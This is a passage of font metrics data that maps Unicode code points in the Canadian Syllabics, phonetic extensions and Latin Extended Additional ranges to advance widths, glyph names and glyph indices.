U 5305 ; WX 764 ; N uni14B9 ; G 1679
U 5306 ; WX 746 ; N uni14BA ; G 1680
U 5307 ; WX 386 ; N uni14BB ; G 1681
U 5308 ; WX 508 ; N uni14BC ; G 1682
U 5309 ; WX 386 ; N uni14BD ; G 1683
U 5312 ; WX 852 ; N uni14C0 ; G 1684
U 5313 ; WX 852 ; N uni14C1 ; G 1685
U 5314 ; WX 852 ; N uni14C2 ; G 1686
U 5315 ; WX 852 ; N uni14C3 ; G 1687
U 5316 ; WX 852 ; N uni14C4 ; G 1688
U 5317 ; WX 852 ; N uni14C5 ; G 1689
U 5318 ; WX 852 ; N uni14C6 ; G 1690
U 5319 ; WX 852 ; N uni14C7 ; G 1691
U 5320 ; WX 852 ; N uni14C8 ; G 1692
U 5321 ; WX 1069 ; N uni14C9 ; G 1693
U 5322 ; WX 1035 ; N uni14CA ; G 1694
U 5323 ; WX 1059 ; N uni14CB ; G 1695
U 5324 ; WX 852 ; N uni14CC ; G 1696
U 5325 ; WX 1059 ; N uni14CD ; G 1697
U 5326 ; WX 852 ; N uni14CE ; G 1698
U 5327 ; WX 852 ; N uni14CF ; G 1699
U 5328 ; WX 600 ; N uni14D0 ; G 1700
U 5329 ; WX 453 ; N uni14D1 ; G 1701
U 5330 ; WX 600 ; N uni14D2 ; G 1702
U 5331 ; WX 852 ; N uni14D3 ; G 1703
U 5332 ; WX 852 ; N uni14D4 ; G 1704
U 5333 ; WX 852 ; N uni14D5 ; G 1705
U 5334 ; WX 852 ; N uni14D6 ; G 1706
U 5335 ; WX 852 ; N uni14D7 ; G 1707
U 5336 ; WX 852 ; N uni14D8 ; G 1708
U 5337 ; WX 852 ; N uni14D9 ; G 1709
U 5338 ; WX 852 ; N uni14DA ; G 1710
U 5339 ; WX 852 ; N uni14DB ; G 1711
U 5340 ; WX 1069 ; N uni14DC ; G 1712
U 5341 ; WX 1035 ; N uni14DD ; G 1713
U 5342 ; WX 1059 ; N uni14DE ; G 1714
U 5343 ; WX 1030 ; N uni14DF ; G 1715
U 5344 ; WX 1059 ; N uni14E0 ; G 1716
U 5345 ; WX 1030 ; N uni14E1 ; G 1717
U 5346 ; WX 1069 ; N uni14E2 ; G 1718
U 5347 ; WX 1035 ; N uni14E3 ; G 1719
U 5348 ; WX 1069 ; N uni14E4 ; G 1720
U 5349 ; WX 1035 ; N uni14E5 ; G 1721
U 5350 ; WX 1083 ; N uni14E6 ; G 1722
U 5351 ; WX 1030 ; N uni14E7 ; G 1723
U 5352 ; WX 1083 ; N uni14E8 ; G 1724
U 5353 ; WX 1030 ; N uni14E9 ; G 1725
U 5354 ; WX 600 ; N uni14EA ; G 1726
U 5356 ; WX 729 ; N uni14EC ; G 1727
U 5357 ; WX 603 ; N uni14ED ; G 1728
U 5358 ; WX 603 ; N uni14EE ; G 1729
U 5359 ; WX 603 ; N uni14EF ; G 1730
U 5360 ; WX 603 ; N uni14F0 ; G 1731
U 5361 ; WX 603 ; N uni14F1 ; G 1732
U 5362 ; WX 603 ; N uni14F2 ; G 1733
U 5363 ; WX 603 ; N uni14F3 ; G 1734
U 5364 ; WX 603 ; N uni14F4 ; G 1735
U 5365 ; WX 603 ; N uni14F5 ; G 1736
U 5366 ; WX 834 ; N uni14F6 ; G 1737
U 5367 ; WX 754 ; N uni14F7 ; G 1738
U 5368 ; WX 792 ; N uni14F8 ; G 1739
U 5369 ; WX 771 ; N uni14F9 ; G 1740
U 5370 ; WX 792 ; N uni14FA ; G 1741
U 5371 ; WX 771 ; N uni14FB ; G 1742
U 5372 ; WX 834 ; N uni14FC ; G 1743
U 5373 ; WX 754 ; N uni14FD ; G 1744
U 5374 ; WX 834 ; N uni14FE ; G 1745
U 5375 ; WX 754 ; N uni14FF ; G 1746
U 5376 ; WX 792 ; N uni1500 ; G 1747
U 5377 ; WX 771 ; N uni1501 ; G 1748
U 5378 ; WX 792 ; N uni1502 ; G 1749
U 5379 ; WX 771 ; N uni1503 ; G 1750
U 5380 ; WX 792 ; N uni1504 ; G 1751
U 5381 ; WX 418 ; N uni1505 ; G 1752
U 5382 ; WX 420 ; N uni1506 ; G 1753
U 5383 ; WX 418 ; N uni1507 ; G 1754
U 5392 ; WX 712 ; N uni1510 ; G 1755
U 5393 ; WX 712 ; N uni1511 ; G 1756
U 5394 ; WX 712 ; N uni1512 ; G 1757
U 5395 ; WX 892 ; N uni1513 ; G 1758
U 5396 ; WX 892 ; N uni1514 ; G 1759
U 5397 ; WX 892 ; N uni1515 ; G 1760
U 5398 ; WX 892 ; N uni1516 ; G 1761
U 5399 ; WX 910 ; N uni1517 ; G 1762
U 5400 ; WX 872 ; N uni1518 ; G 1763
U 5401 ; WX 910 ; N uni1519 ; G 1764
U 5402 ; WX 872 ; N uni151A ; G 1765
U 5403 ; WX 910 ; N uni151B ; G 1766
U 5404 ; WX 872 ; N uni151C ; G 1767
U 5405 ; WX 1140 ; N uni151D ; G 1768
U 5406 ; WX 1100 ; N uni151E ; G 1769
U 5407 ; WX 1140 ; N uni151F ; G 1770
U 5408 ; WX 1100 ; N uni1520 ; G 1771
U 5409 ; WX 1140 ; N uni1521 ; G 1772
U 5410 ; WX 1100 ; N uni1522 ; G 1773
U 5411 ; WX 1140 ; N uni1523 ; G 1774
U 5412 ; WX 1100 ; N uni1524 ; G 1775
U 5413 ; WX 641 ; N uni1525 ; G 1776
U 5414 ; WX 627 ; N uni1526 ; G 1777
U 5415 ; WX 627 ; N uni1527 ; G 1778
U 5416 ; WX 627 ; N uni1528 ; G 1779
U 5417 ; WX 627 ; N uni1529 ; G 1780
U 5418 ; WX 627 ; N uni152A ; G 1781
U 5419 ; WX 627 ; N uni152B ; G 1782
U 5420 ; WX 627 ; N uni152C ; G 1783
U 5421 ; WX 627 ; N uni152D ; G 1784
U 5422 ; WX 627 ; N uni152E ; G 1785
U 5423 ; WX 844 ; N uni152F ; G 1786
U 5424 ; WX 781 ; N uni1530 ; G 1787
U 5425 ; WX 816 ; N uni1531 ; G 1788
U 5426 ; WX 818 ; N uni1532 ; G 1789
U 5427 ; WX 816 ; N uni1533 ; G 1790
U 5428 ; WX 818 ; N uni1534 ; G 1791
U 5429 ; WX 844 ; N uni1535 ; G 1792
U 5430 ; WX 781 ; N uni1536 ; G 1793
U 5431 ; WX 844 ; N uni1537 ; G 1794
U 5432 ; WX 781 ; N uni1538 ; G 1795
U 5433 ; WX 816 ; N uni1539 ; G 1796
U 5434 ; WX 818 ; N uni153A ; G 1797
U 5435 ; WX 816 ; N uni153B ; G 1798
U 5436 ; WX 818 ; N uni153C ; G 1799
U 5437 ; WX 816 ; N uni153D ; G 1800
U 5438 ; WX 418 ; N uni153E ; G 1801
U 5440 ; WX 389 ; N uni1540 ; G 1802
U 5441 ; WX 484 ; N uni1541 ; G 1803
U 5442 ; WX 916 ; N uni1542 ; G 1804
U 5443 ; WX 916 ; N uni1543 ; G 1805
U 5444 ; WX 863 ; N uni1544 ; G 1806
U 5445 ; WX 916 ; N uni1545 ; G 1807
U 5446 ; WX 863 ; N uni1546 ; G 1808
U 5447 ; WX 863 ; N uni1547 ; G 1809
U 5448 ; WX 603 ; N uni1548 ; G 1810
U 5449 ; WX 603 ; N uni1549 ; G 1811
U 5450 ; WX 603 ; N uni154A ; G 1812
U 5451 ; WX 603 ; N uni154B ; G 1813
U 5452 ; WX 603 ; N uni154C ; G 1814
U 5453 ; WX 603 ; N uni154D ; G 1815
U 5454 ; WX 834 ; N uni154E ; G 1816
U 5455 ; WX 754 ; N uni154F ; G 1817
U 5456 ; WX 418 ; N uni1550 ; G 1818
U 5458 ; WX 729 ; N uni1552 ; G 1819
U 5459 ; WX 684 ; N uni1553 ; G 1820
U 5460 ; WX 684 ; N uni1554 ; G 1821
U 5461 ; WX 684 ; N uni1555 ; G 1822
U 5462 ; WX 684 ; N uni1556 ; G 1823
U 5463 ; WX 726 ; N uni1557 ; G 1824
U 5464 ; WX 726 ; N uni1558 ; G 1825
U 5465 ; WX 726 ; N uni1559 ; G 1826
U 5466 ; WX 726 ; N uni155A ; G 1827
U 5467 ; WX 924 ; N uni155B ; G 1828
U 5468 ; WX 1007 ; N uni155C ; G 1829
U 5469 ; WX 508 ; N uni155D ; G 1830
U 5470 ; WX 732 ; N uni155E ; G 1831
U 5471 ; WX 732 ; N uni155F ; G 1832
U 5472 ; WX 732 ; N uni1560 ; G 1833
U 5473 ; WX 732 ; N uni1561 ; G 1834
U 5474 ; WX 732 ; N uni1562 ; G 1835
U 5475 ; WX 732 ; N uni1563 ; G 1836
U 5476 ; WX 730 ; N uni1564 ; G 1837
U 5477 ; WX 730 ; N uni1565 ; G 1838
U 5478 ; WX 730 ; N uni1566 ; G 1839
U 5479 ; WX 730 ; N uni1567 ; G 1840
U 5480 ; WX 947 ; N uni1568 ; G 1841
U 5481 ; WX 900 ; N uni1569 ; G 1842
U 5482 ; WX 508 ; N uni156A ; G 1843
U 5492 ; WX 831 ; N uni1574 ; G 1844
U 5493 ; WX 831 ; N uni1575 ; G 1845
U 5494 ; WX 831 ; N uni1576 ; G 1846
U 5495 ; WX 831 ; N uni1577 ; G 1847
U 5496 ; WX 831 ; N uni1578 ; G 1848
U 5497 ; WX 831 ; N uni1579 ; G 1849
U 5498 ; WX 831 ; N uni157A ; G 1850
U 5499 ; WX 563 ; N uni157B ; G 1851
U 5500 ; WX 752 ; N uni157C ; G 1852
U 5501 ; WX 484 ; N uni157D ; G 1853
U 5502 ; WX 1047 ; N uni157E ; G 1854
U 5503 ; WX 1047 ; N uni157F ; G 1855
U 5504 ; WX 1047 ; N uni1580 ; G 1856
U 5505 ; WX 1047 ; N uni1581 ; G 1857
U 5506 ; WX 1047 ; N uni1582 ; G 1858
U 5507 ; WX 1047 ; N uni1583 ; G 1859
U 5508 ; WX 1047 ; N uni1584 ; G 1860
U 5509 ; WX 825 ; N uni1585 ; G 1861
U 5514 ; WX 831 ; N uni158A ; G 1862
U 5515 ; WX 831 ; N uni158B ; G 1863
U 5516 ; WX 831 ; N uni158C ; G 1864
U 5517 ; WX 831 ; N uni158D ; G 1865
U 5518 ; WX 1259 ; N uni158E ; G 1866
U 5519 ; WX 1259 ; N uni158F ; G 1867
U 5520 ; WX 1259 ; N uni1590 ; G 1868
U 5521 ; WX 1002 ; N uni1591 ; G 1869
U 5522 ; WX 1002 ; N uni1592 ; G 1870
U 5523 ; WX 1259 ; N uni1593 ; G 1871
U 5524 ; WX 1259 ; N uni1594 ; G 1872
U 5525 ; WX 700 ; N uni1595 ; G 1873
U 5526 ; WX 1073 ; N uni1596 ; G 1874
U 5536 ; WX 852 ; N uni15A0 ; G 1875
U 5537 ; WX 852 ; N uni15A1 ; G 1876
U 5538 ; WX 799 ; N uni15A2 ; G 1877
U 5539 ; WX 799 ; N uni15A3 ; G 1878
U 5540 ; WX 799 ; N uni15A4 ; G 1879
U 5541 ; WX 799 ; N uni15A5 ; G 1880
U 5542 ; WX 600 ; N uni15A6 ; G 1881
U 5543 ; WX 643 ; N uni15A7 ; G 1882
U 5544 ; WX 643 ; N uni15A8 ; G 1883
U 5545 ; WX 643 ; N uni15A9 ; G 1884
U 5546 ; WX 643 ; N uni15AA ; G 1885
U 5547 ; WX 643 ; N uni15AB ; G 1886
U 5548 ; WX 643 ; N uni15AC ; G 1887
U 5549 ; WX 643 ; N uni15AD ; G 1888
U 5550 ; WX 418 ; N uni15AE ; G 1889
U 5551 ; WX 628 ; N uni15AF ; G 1890
U 5598 ; WX 770 ; N uni15DE ; G 1891
U 5601 ; WX 770 ; N uni15E1 ; G 1892
U 5702 ; WX 468 ; N uni1646 ; G 1893
U 5703 ; WX 468 ; N uni1647 ; G 1894
U 5742 ; WX 444 ; N uni166E ; G 1895
U 5743 ; WX 1047 ; N uni166F ; G 1896
U 5744 ; WX 1310 ; N uni1670 ; G 1897
U 5745 ; WX 1632 ; N uni1671 ; G 1898
U 5746 ; WX 1632 ; N uni1672 ; G 1899
U 5747 ; WX 1375 ; N uni1673 ; G 1900
U 5748 ; WX 1375 ; N uni1674 ; G 1901
U 5749 ; WX 1632 ; N uni1675 ; G 1902
U 5750 ; WX 1632 ; N uni1676 ; G 1903
U 7424 ; WX 592 ; N uni1D00 ; G 1904
U 7425 ; WX 717 ; N uni1D01 ; G 1905
U 7426 ; WX 982 ; N uni1D02 ; G 1906
U 7427 ; WX 586 ; N uni1D03 ; G 1907
U 7428 ; WX 550 ; N uni1D04 ; G 1908
U 7429 ; WX 605 ; N uni1D05 ; G 1909
U 7430 ; WX 605 ; N uni1D06 ; G 1910
U 7431 ; WX 491 ; N uni1D07 ; G 1911
U 7432 ; WX 541 ; N uni1D08 ; G 1912
U 7433 ; WX 278 ; N uni1D09 ; G 1913
U 7434 ; WX 395 ; N uni1D0A ; G 1914
U 7435 ; WX 579 ; N uni1D0B ; G 1915
U 7436 ; WX 583 ; N uni1D0C ; G 1916
U 7437 ; WX 754 ; N uni1D0D ; G 1917
U 7438 ; WX 650 ; N uni1D0E ; G 1918
U 7439 ; WX 612 ; N uni1D0F ; G 1919
U 7440 ; WX 550 ; N uni1D10 ; G 1920
U 7441 ; WX 684 ; N uni1D11 ; G 1921
U 7442 ; WX 684 ; N uni1D12 ; G 1922
U 7443 ; WX 684 ; N uni1D13 ; G 1923
U 7444 ; WX 1023 ; N uni1D14 ; G 1924
U 7446 ; WX 612 ; N uni1D16 ; G 1925
U 7447 ; WX 612 ; N uni1D17 ; G 1926
U 7448 ; WX 524 ; N uni1D18 ; G 1927
U 7449 ; WX 602 ; N uni1D19 ; G 1928
U 7450 ; WX 602 ; N uni1D1A ; G 1929
U 7451 ; WX 583 ; N uni1D1B ; G 1930
U 7452 ; WX 574 ; N uni1D1C ; G 1931
U 7453 ; WX 737 ; N uni1D1D ; G 1932
U 7454 ; WX 948 ; N uni1D1E ; G 1933
U 7455 ; WX 638 ; N uni1D1F ; G 1934
U 7456 ; WX 592 ; N uni1D20 ; G 1935
U 7457 ; WX 818 ; N uni1D21 ; G 1936
U 7458 ; WX 525 ; N uni1D22 ; G 1937
U 7459 ; WX 526 ; N uni1D23 ; G 1938
U 7462 ; WX 583 ; N uni1D26 ; G 1939
U 7463 ; WX 592 ; N uni1D27 ; G 1940
U 7464 ; WX 564 ; N uni1D28 ; G 1941
U 7465 ; WX 524 ; N uni1D29 ; G 1942
U 7466 ; WX 590 ; N uni1D2A ; G 1943
U 7467 ; WX 639 ; N uni1D2B ; G 1944
U 7468 ; WX 431 ; N uni1D2C ; G 1945
U 7469 ; WX 613 ; N uni1D2D ; G 1946
U 7470 ; WX 432 ; N uni1D2E ; G 1947
U 7472 ; WX 485 ; N uni1D30 ; G 1948
U 7473 ; WX 398 ; N uni1D31 ; G 1949
U 7474 ; WX 398 ; N uni1D32 ; G 1950
U 7475 ; WX 488 ; N uni1D33 ; G 1951
U 7476 ; WX 474 ; N uni1D34 ; G 1952
U 7477 ; WX 186 ; N uni1D35 ; G 1953
U 7478 ; WX 186 ; N uni1D36 ; G 1954
U 7479 ; WX 413 ; N uni1D37 ; G 1955
U 7480 ; WX 351 ; N uni1D38 ; G 1956
U 7481 ; WX 543 ; N uni1D39 ; G 1957
U 7482 ; WX 471 ; N uni1D3A ; G 1958
U 7483 ; WX 471 ; N uni1D3B ; G 1959
U 7484 ; WX 496 ; N uni1D3C ; G 1960
U 7485 ; WX 439 ; N uni1D3D ; G 1961
U 7486 ; WX 380 ; N uni1D3E ; G 1962
U 7487 ; WX 438 ; N uni1D3F ; G 1963
U 7488 ; WX 385 ; N uni1D40 ; G 1964
U 7489 ; WX 461 ; N uni1D41 ; G 1965
U 7490 ; WX 623 ; N uni1D42 ; G 1966
U 7491 ; WX 392 ; N uni1D43 ; G 1967
U 7492 ; WX 392 ; N uni1D44 ; G 1968
U 7493 ; WX 405 ; N uni1D45 ; G 1969
U 7494 ; WX 648 ; N uni1D46 ; G 1970
U 7495 ; WX 428 ; N uni1D47 ; G 1971
U 7496 ; WX 405 ; N uni1D48 ; G 1972
U 7497 ; WX 417 ; N uni1D49 ; G 1973
U 7498 ; WX 417 ; N uni1D4A ; G 1974
U 7499 ; WX 360 ; N uni1D4B ; G 1975
U 7500 ; WX 359 ; N uni1D4C ; G 1976
U 7501 ; WX 405 ; N uni1D4D ; G 1977
U 7502 ; WX 179 ; N uni1D4E ; G 1978
U 7503 ; WX 426 ; N uni1D4F ; G 1979
U 7504 ; WX 623 ; N uni1D50 ; G 1980
U 7505 ; WX 409 ; N uni1D51 ; G 1981
U 7506 ; WX 414 ; N uni1D52 ; G 1982
U 7507 ; WX 370 ; N uni1D53 ; G 1983
U 7508 ; WX 414 ; N uni1D54 ; G 1984
U 7509 ; WX 414 ; N uni1D55 ; G 1985
U 7510 ; WX 428 ; N uni1D56 ; G 1986
U 7511 ; WX 295 ; N uni1D57 ; G 1987
U 7512 ; WX 405 ; N uni1D58 ; G 1988
U 7513 ; WX 470 ; N uni1D59 ; G 1989
U 7514 ; WX 623 ; N uni1D5A ; G 1990
U 7515 ; WX 417 ; N uni1D5B ; G 1991
U 7517 ; WX 402 ; N uni1D5D ; G 1992
U 7518 ; WX 373 ; N uni1D5E ; G 1993
U 7519 ; WX 385 ; N uni1D5F ; G 1994
U 7520 ; WX 416 ; N uni1D60 ; G 1995
U 7521 ; WX 364 ; N uni1D61 ; G 1996
U 7522 ; WX 179 ; N uni1D62 ; G 1997
U 7523 ; WX 259 ; N uni1D63 ; G 1998
U 7524 ; WX 405 ; N uni1D64 ; G 1999
U 7525 ; WX 417 ; N uni1D65 ; G 2000
U 7526 ; WX 402 ; N uni1D66 ; G 2001
U 7527 ; WX 373 ; N uni1D67 ; G 2002
U 7528 ; WX 412 ; N uni1D68 ; G 2003
U 7529 ; WX 416 ; N uni1D69 ; G 2004
U 7530 ; WX 364 ; N uni1D6A ; G 2005
U 7543 ; WX 635 ; N uni1D77 ; G 2006
U 7544 ; WX 474 ; N uni1D78 ; G 2007
U 7547 ; WX 372 ; N uni1D7B ; G 2008
U 7549 ; WX 667 ; N uni1D7D ; G 2009
U 7557 ; WX 278 ; N uni1D85 ; G 2010
U 7579 ; WX 405 ; N uni1D9B ; G 2011
U 7580 ; WX 370 ; N uni1D9C ; G 2012
U 7581 ; WX 370 ; N uni1D9D ; G 2013
U 7582 ; WX 414 ; N uni1D9E ; G 2014
U 7583 ; WX 360 ; N uni1D9F ; G 2015
U 7584 ; WX 296 ; N uni1DA0 ; G 2016
U 7585 ; WX 233 ; N uni1DA1 ; G 2017
U 7586 ; WX 405 ; N uni1DA2 ; G 2018
U 7587 ; WX 405 ; N uni1DA3 ; G 2019
U 7588 ; WX 261 ; N uni1DA4 ; G 2020
U 7589 ; WX 250 ; N uni1DA5 ; G 2021
U 7590 ; WX 261 ; N uni1DA6 ; G 2022
U 7591 ; WX 261 ; N uni1DA7 ; G 2023
U 7592 ; WX 234 ; N uni1DA8 ; G 2024
U 7593 ; WX 250 ; N uni1DA9 ; G 2025
U 7594 ; WX 235 ; N uni1DAA ; G 2026
U 7595 ; WX 376 ; N uni1DAB ; G 2027
U 7596 ; WX 623 ; N uni1DAC ; G 2028
U 7597 ; WX 623 ; N uni1DAD ; G 2029
U 7598 ; WX 411 ; N uni1DAE ; G 2030
U 7599 ; WX 479 ; N uni1DAF ; G 2031
U 7600 ; WX 409 ; N uni1DB0 ; G 2032
U 7601 ; WX 414 ; N uni1DB1 ; G 2033
U 7602 ; WX 414 ; N uni1DB2 ; G 2034
U 7603 ; WX 360 ; N uni1DB3 ; G 2035
U 7604 ; WX 287 ; N uni1DB4 ; G 2036
U 7605 ; WX 295 ; N uni1DB5 ; G 2037
U 7606 ; WX 508 ; N uni1DB6 ; G 2038
U 7607 ; WX 418 ; N uni1DB7 ; G 2039
U 7608 ; WX 361 ; N uni1DB8 ; G 2040
U 7609 ; WX 406 ; N uni1DB9 ; G 2041
U 7610 ; WX 417 ; N uni1DBA ; G 2042
U 7611 ; WX 366 ; N uni1DBB ; G 2043
U 7612 ; WX 437 ; N uni1DBC ; G 2044
U 7613 ; WX 366 ; N uni1DBD ; G 2045
U 7614 ; WX 392 ; N uni1DBE ; G 2046
U 7615 ; WX 414 ; N uni1DBF ; G 2047
U 7620 ; WX 0 ; N uni1DC4 ; G 2048
U 7621 ; WX 0 ; N uni1DC5 ; G 2049
U 7622 ; WX 0 ; N uni1DC6 ; G 2050
U 7623 ; WX 0 ; N uni1DC7 ; G 2051
U 7624 ; WX 0 ; N uni1DC8 ; G 2052
U 7625 ; WX 0 ; N uni1DC9 ; G 2053
U 7680 ; WX 684 ; N uni1E00 ; G 2054
U 7681 ; WX 613 ; N uni1E01 ; G 2055
U 7682 ; WX 686 ; N uni1E02 ; G 2056
U 7683 ; WX 635 ; N uni1E03 ; G 2057
U 7684 ; WX 686 ; N uni1E04 ; G 2058
U 7685 ; WX 635 ; N uni1E05 ; G 2059
U 7686 ; WX 686 ; N uni1E06 ; G 2060
U 7687 ; WX 635 ; N uni1E07 ; G 2061
U 7688 ; WX 698 ; N uni1E08 ; G 2062
U 7689 ; WX 550 ; N uni1E09 ; G 2063
U 7690 ; WX 770 ; N uni1E0A ; G 2064
U 7691 ; WX 635 ; N uni1E0B ; G 2065
U 7692 ; WX 770 ; N uni1E0C ; G 2066
U 7693 ; WX 635 ; N uni1E0D ; G 2067
U 7694 ; WX 770 ; N uni1E0E ; G 2068
U 7695 ; WX 635 ; N uni1E0F ; G 2069
U 7696 ; WX 770 ; N uni1E10 ; G 2070
U 7697 ; WX 635 ; N uni1E11 ; G 2071
U 7698 ; WX 770 ; N uni1E12 ; G 2072
U 7699 ; WX 635 ; N uni1E13 ; G 2073
U 7700 ; WX 632 ; N uni1E14 ; G 2074
U 7701 ; WX 615 ; N uni1E15 ; G 2075
U 7702 ; WX 632 ; N uni1E16 ; G 2076
U 7703 ; WX 615 ; N uni1E17 ; G 2077
U 7704 ; WX 632 ; N uni1E18 ; G 2078
U 7705 ; WX 615 ; N uni1E19 ; G 2079
U 7706 ; WX 632 ; N uni1E1A ; G 2080
U 7707 ; WX 615 ; N uni1E1B ; G 2081
U 7708 ; WX 632 ; N uni1E1C ; G 2082
U 7709 ; WX 615 ; N uni1E1D ; G 2083
U 7710 ; WX 575 ; N uni1E1E ; G 2084
U 7711 ; WX 352 ; N uni1E1F ; G 2085
U 7712 ; WX 775 ; N uni1E20 ; G 2086
U 7713 ; WX 635 ; N uni1E21 ; G 2087
U 7714 ; WX 752 ; N uni1E22 ; G 2088
U 7715 ; WX 634 ; N uni1E23 ; G 2089
U 7716 ; WX 752 ; N uni1E24 ; G 2090
U 7717 ; WX 634 ; N uni1E25 ; G 2091
U 7718 ; WX 752 ; N uni1E26 ; G 2092
U 7719 ; WX 634 ; N uni1E27 ; G 2093
U 7720 ; WX 752 ; N uni1E28 ; G 2094
U 7721 ; WX 634 ; N uni1E29 ; G 2095
U 7722 ; WX 752 ; N uni1E2A ; G 2096
U 7723 ; WX 634 ; N uni1E2B ; G 2097
U 7724 ; WX 295 ; N uni1E2C ; G 2098
U 7725 ; WX 278 ; N uni1E2D ; G 2099
U 7726 ; WX 295 ; N uni1E2E ; G 2100
U 7727 ; WX 278 ; N uni1E2F ; G 2101
U 7728 ; WX 656 ; N uni1E30 ; G 2102
U 7729 ; WX 579 ; N uni1E31 ; G 2103
U 7730 ; WX 656 ; N uni1E32 ; G 2104
U 7731 ; WX 579 ; N uni1E33 ; G 2105
U 7732 ; WX 656 ; N uni1E34 ; G 2106
U 7733 ; WX 579 ; N uni1E35 ; G 2107
U 7734 ; WX 557 ; N uni1E36 ; G 2108
U 7735 ; WX 278 ; N uni1E37 ; G 2109
U 7736 ; WX 557 ; N uni1E38 ; G 2110
U 7737 ; WX 278 ; N uni1E39 ; G 2111
U 7738 ; WX 557 ; N uni1E3A ; G 2112
U 7739 ; WX 278 ; N uni1E3B ; G 2113
U 7740 ; WX 557 ; N uni1E3C ; G 2114
U 7741 ; WX 278 ; N uni1E3D ; G 2115
U 7742 ; WX 863 ; N uni1E3E ; G 2116
U 7743 ; WX 974 ; N uni1E3F ; G 2117
U 7744 ; WX 863 ; N uni1E40 ; G 2118
U 7745 ; WX 974 ; N uni1E41 ; G 2119
U 7746 ; WX 863 ; N uni1E42 ; G 2120
U 7747 ; WX 974 ; N uni1E43 ; G 2121
U 7748 ; WX 748 ; N uni1E44 ; G 2122
U 7749 ; WX 634 ; N uni1E45 ; G 2123
U 7750 ; WX 748 ; N uni1E46 ; G 2124
U 7751 ; WX 634 ; N uni1E47 ; G 2125
U 7752 ; WX 748 ; N uni1E48 ; G 2126
U 7753 ; WX 634 ; N uni1E49 ; G 2127
U 7754 ; WX 748 ; N uni1E4A ; G 2128
U 7755 ; WX 634 ; N uni1E4B ; G 2129
U 7756 ; WX 787 ; N uni1E4C ; G 2130
U 7757 ; WX 612 ; N uni1E4D ; G 2131
U 7758 ; WX 787 ; N uni1E4E ; G 2132
U 7759 ; WX 612 ; N uni1E4F ; G 2133
U 7760 ; WX 787 ; N uni1E50 ; G 2134
U 7761 ; WX 612 ; N uni1E51 ; G 2135
U 7762 ; WX 787 ; N uni1E52 ; G 2136
U 7763 ; WX 612 ; N uni1E53 ; G 2137
U 7764 ; WX 603 ; N uni1E54 ; G 2138
U 7765 ; WX 635 ; N uni1E55 ; G 2139
U 7766 ; WX 603 ; N uni1E56 ; G 2140
U 7767 ; WX 635 ; N uni1E57 ; G 2141
U 7768 ; WX 695 ; N uni1E58 ; G 2142
U 7769 ; WX 411 ; N uni1E59 ; G 2143
U 7770 ; WX 695 ; N uni1E5A ; G 2144
U 7771 ; WX 411 ; N uni1E5B ; G 2145
U 7772 ; WX 695 ; N uni1E5C ; G 2146
U 7773 ; WX 411 ; N uni1E5D ; G 2147
U 7774 ; WX 695 ; N uni1E5E ; G 2148
U 7775 ; WX 411 ; N uni1E5F ; G 2149
U 7776 ; WX 635 ; N uni1E60 ; G 2150
U 7777 ; WX 521 ; N uni1E61 ; G 2151
U 7778 ; WX 635 ; N uni1E62 ; G 2152
U 7779 ; WX 521 ; N uni1E63 ; G 2153
U 7780 ; WX 635 ; N uni1E64 ; G 2154
U 7781 ; WX 521 ; N uni1E65 ; G 2155
U 7782 ; WX 635 ; N uni1E66 ; G 2156
U 7783 ; WX 521 ; N uni1E67 ; G 2157
U 7784 ; WX 635 ; N uni1E68 ; G 2158
U 7785 ; WX 521 ; N uni1E69 ; G 2159
U 7786 ; WX 611 ; N uni1E6A ; G 2160
U 7787 ; WX 392 ; N uni1E6B ; G 2161
U 7788 ; WX 611 ; N uni1E6C ; G 2162
U 7789 ; WX 392 ; N uni1E6D ; G 2163
U 7790 ; WX 611 ; N uni1E6E ; G 2164
U 7791 ; WX 392 ; N uni1E6F ; G 2165
U 7792 ; WX 611 ; N uni1E70 ; G 2166
U 7793 ; WX 392 ; N uni1E71 ; G 2167
U 7794 ; WX 732 ; N uni1E72 ; G 2168
U 7795 ; WX 634 ; N uni1E73 ; G 2169
U 7796 ; WX 732 ; N uni1E74 ; G 2170
U 7797 ; WX 634 ; N uni1E75 ; G 2171
U 7798 ; WX 732 ; N uni1E76 ; G 2172
U 7799 ; WX 634 ; N uni1E77 ; G 2173
U 7800 ; WX 732 ; N uni1E78 ; G 2174
U 7801 ; WX 634 ; N uni1E79 ; G 2175
U 7802 ; WX 732 ; N uni1E7A ; G 2176
U 7803 ; WX 634 ; N uni1E7B ; G 2177
U 7804 ; WX 684 ; N uni1E7C ; G 2178
U 7805 ; WX 592 ; N uni1E7D ; G 2179
U 7806 ; WX 684 ; N uni1E7E ; G 2180
U 7807 ; WX 592 ; N uni1E7F ; G 2181
U 7808 ; WX 989 ; N Wgrave ; G 2182
U 7809 ; WX 818 ; N wgrave ; G 2183
U 7810 ; WX 989 ; N Wacute ; G 2184
U 7811 ; WX 818 ; N wacute ; G 2185
U 7812 ; WX 989 ; N Wdieresis ; G 2186
U 7813 ; WX 818 ; N wdieresis ; G 2187
U 7814 ; WX 989 ; N uni1E86 ; G 2188
U 7815 ; WX 818 ; N uni1E87 ; G 2189
U 7816 ; WX 989 ; N uni1E88 ; G 2190
U 7817 ; WX 818 ; N uni1E89 ; G 2191
U 7818 ; WX 685 ; N uni1E8A ; G 2192
U 7819 ; WX 592 ; N uni1E8B ; G 2193
U 7820 ; WX 685 ; N uni1E8C ; G 2194
U 7821 ; WX 592 ; N uni1E8D ; G 2195
U 7822 ; WX 611 ; N uni1E8E ; G 2196
U 7823 ; WX 592 ; N uni1E8F ; G 2197
U 7824 ; WX 685 ; N uni1E90 ; G 2198
U 7825 ; WX 525 ; N uni1E91 ; G 2199
U 7826 ; WX 685 ; N uni1E92 ; G 2200
U 7827 ; WX 525 ; N uni1E93 ; G 2201
U 7828 ; WX 685 ; N uni1E94 ; G 2202
U 7829 ; WX 525 ; N uni1E95 ; G 2203
U 7830 ; WX 634 ; N uni1E96 ; G 2204
U 7831 ; WX 392 ; N uni1E97 ; G 2205
U 7832 ; WX 818 ; N uni1E98 ; G 2206
U 7833 ; WX 592 ; N uni1E99 ; G 2207
U 7834 ; WX 613 ; N uni1E9A ; G 2208
U 7835 ; WX 352 ; N uni1E9B ; G 2209
U 7836 ; WX 352 ; N uni1E9C ; G 2210
U 7837 ; WX 352 ; N uni1E9D ; G 2211
U 7838 ; WX 769 ; N uni1E9E ; G 2212
U 7839 ; WX 612 ; N uni1E9F ; G 2213
U 7840 ; WX 684 ; N uni1EA0 ; G 2214
U 7841 ; WX 613 ; N uni1EA1 ; G 2215
U 7842 ; WX 684 ; N uni1EA2 ; G 2216
U 7843 ; WX 613 ; N uni1EA3 ; G 2217
U 7844 ; WX 684 ; N uni1EA4 ; G 2218
